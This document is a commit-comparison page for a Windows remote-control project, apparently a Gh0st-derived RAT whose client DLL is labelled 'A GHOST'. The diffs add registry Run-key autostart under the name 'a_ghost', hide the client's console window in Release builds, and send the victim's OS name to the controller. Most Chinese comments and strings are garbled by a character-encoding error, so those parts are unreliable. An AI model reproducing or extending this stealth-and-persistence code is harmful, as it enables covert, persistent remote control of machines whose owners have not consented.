Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1f03c14fee | ||
|
|
188d5cd24a | ||
|
|
b8ab695e5e |
14
ReadMe.txt
14
ReadMe.txt
@@ -163,3 +163,17 @@
|
||||
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
|
||||
|
||||
发布V1.0.0.4。
|
||||
|
||||
2019.3.24
|
||||
|
||||
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
|
||||
|
||||
2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
|
||||
|
||||
2019.3.29
|
||||
|
||||
1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
|
||||
|
||||
2、发布V1.0.0.5。
|
||||
|
||||
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
|
||||
|
||||
@@ -20,6 +20,12 @@ DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
enum { E_RUN, E_STOP } status;
|
||||
|
||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||
@@ -85,7 +91,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||
|
||||
@@ -1,6 +1,118 @@
|
||||
#include "StdAfx.h"
|
||||
#include "LoginServer.h"
|
||||
#include "Common.h"
|
||||
#include <string>
|
||||
|
||||
/************************************************************************
|
||||
---------------------
|
||||
<EFBFBD><EFBFBD><EFBFBD>ߣ<EFBFBD>IT1995
|
||||
<EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD>CSDN
|
||||
ԭ<EFBFBD>ģ<EFBFBD>https://blog.csdn.net/qq78442761/article/details/64440535
|
||||
<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>£<EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD>븽<EFBFBD>ϲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD>
|
||||
<EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD>2019.3.29<EFBFBD><EFBFBD>Ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
************************************************************************/
|
||||
std::string getSystemName()
|
||||
{
|
||||
std::string vname("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ");
|
||||
//<2F><><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>Ϊwin8.1<EFBFBD><EFBFBD>win10
|
||||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||
{
|
||||
vname = "Windows 8.1";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||
{
|
||||
vname = "Windows 10";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
|
||||
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46>ṹ<EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ṹ
|
||||
OSVERSIONINFOEX os;
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
if (GetVersionEx((OSVERSIONINFO *)&os))
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
|
||||
switch (os.dwMajorVersion)
|
||||
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>汾<EFBFBD><E6B1BE>
|
||||
case 4:
|
||||
switch (os.dwMinorVersion)
|
||||
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
|
||||
case 0:
|
||||
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||||
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||||
vname = "Windows 95";
|
||||
break;
|
||||
case 10:
|
||||
vname ="Windows 98";
|
||||
break;
|
||||
case 90:
|
||||
vname = "Windows Me";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
switch (os.dwMinorVersion)
|
||||
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
|
||||
case 0:
|
||||
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
|
||||
break;
|
||||
case 1:
|
||||
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
break;
|
||||
case 2:
|
||||
if (os.wProductType == VER_NT_WORKSTATION &&
|
||||
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||||
vname = "Windows XP Professional x64 Edition";
|
||||
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||||
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||||
vname = "Windows Server 2003 R2";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 6:
|
||||
switch (os.dwMinorVersion)
|
||||
{
|
||||
case 0:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows Vista";
|
||||
else
|
||||
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾
|
||||
break;
|
||||
case 1:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows 7";
|
||||
else
|
||||
vname = "Windows Server 2008 R2";
|
||||
break;
|
||||
case 2:
|
||||
if (os.wProductType == VER_NT_WORKSTATION)
|
||||
vname = "Windows 8";
|
||||
else
|
||||
vname = "Windows Server 2012";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||
}
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
}
|
||||
else
|
||||
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
return vname;
|
||||
}
|
||||
|
||||
|
||||
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||
@@ -8,8 +120,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
||||
LOGIN_INFOR LoginInfor = {0};
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
|
||||
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>PCName
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,4
|
||||
FILEVERSION 1,0,0,5
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -105,7 +105,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.4"
|
||||
VALUE "FileVersion", "1.0.0.5"
|
||||
VALUE "InternalName", "ServerDl.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDl.dll"
|
||||
|
||||
@@ -49,6 +49,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -65,6 +66,8 @@
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -60,6 +60,9 @@
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -79,6 +82,8 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
|
||||
@@ -19,15 +19,50 @@ struct CONNECT_ADDRESS
|
||||
int iPort;
|
||||
}g_ConnectAddress={0x1234567,"",0};
|
||||
|
||||
int main()
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
*/
|
||||
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
{
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
if(lRet != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
if(!SetSelfStart(argv[0], "a_ghost"))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.\n";
|
||||
}
|
||||
char path[_MAX_PATH], *p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, "ServerDll.dll");
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost,int nPort );
|
||||
typedef void (*TestRun)(char* strHost,int nPort);
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
|
||||
Binary file not shown.
@@ -54,12 +54,12 @@ const int g_Column_Count_Online = 7; //
|
||||
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||
{
|
||||
{"IP", 148 },
|
||||
{"<EFBFBD>˿<EFBFBD>", 150 },
|
||||
{"<EFBFBD>˿<EFBFBD>", 64 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
|
||||
{"CPU", 80 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 },
|
||||
{"PING", 151 },
|
||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||
{"PING", 100 },
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
@@ -970,30 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
strPCName = LoginInfor->szPCName;
|
||||
|
||||
switch (LoginInfor->OsVerInfoEx.dwPlatformId)
|
||||
{
|
||||
case VER_PLATFORM_WIN32_NT:
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
|
||||
strOS = "WindowsNT";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
||||
strOS = "Windows2000";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
||||
strOS = "WindowsXP";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
||||
strOS = "Windows2003";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
||||
strOS = "WindowsVista";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
||||
strOS = "Windows7";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
||||
strOS = "Windows8";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 3 )
|
||||
strOS = "Windows8.1";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 4 )
|
||||
strOS = "Windows10";
|
||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 10 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
||||
strOS = "Windows10";
|
||||
}
|
||||
//<2F>汾<EFBFBD><E6B1BE>Ϣ
|
||||
strOS = LoginInfor->OsVerInfoEx;
|
||||
|
||||
//CPU
|
||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
Reference in New Issue
Block a user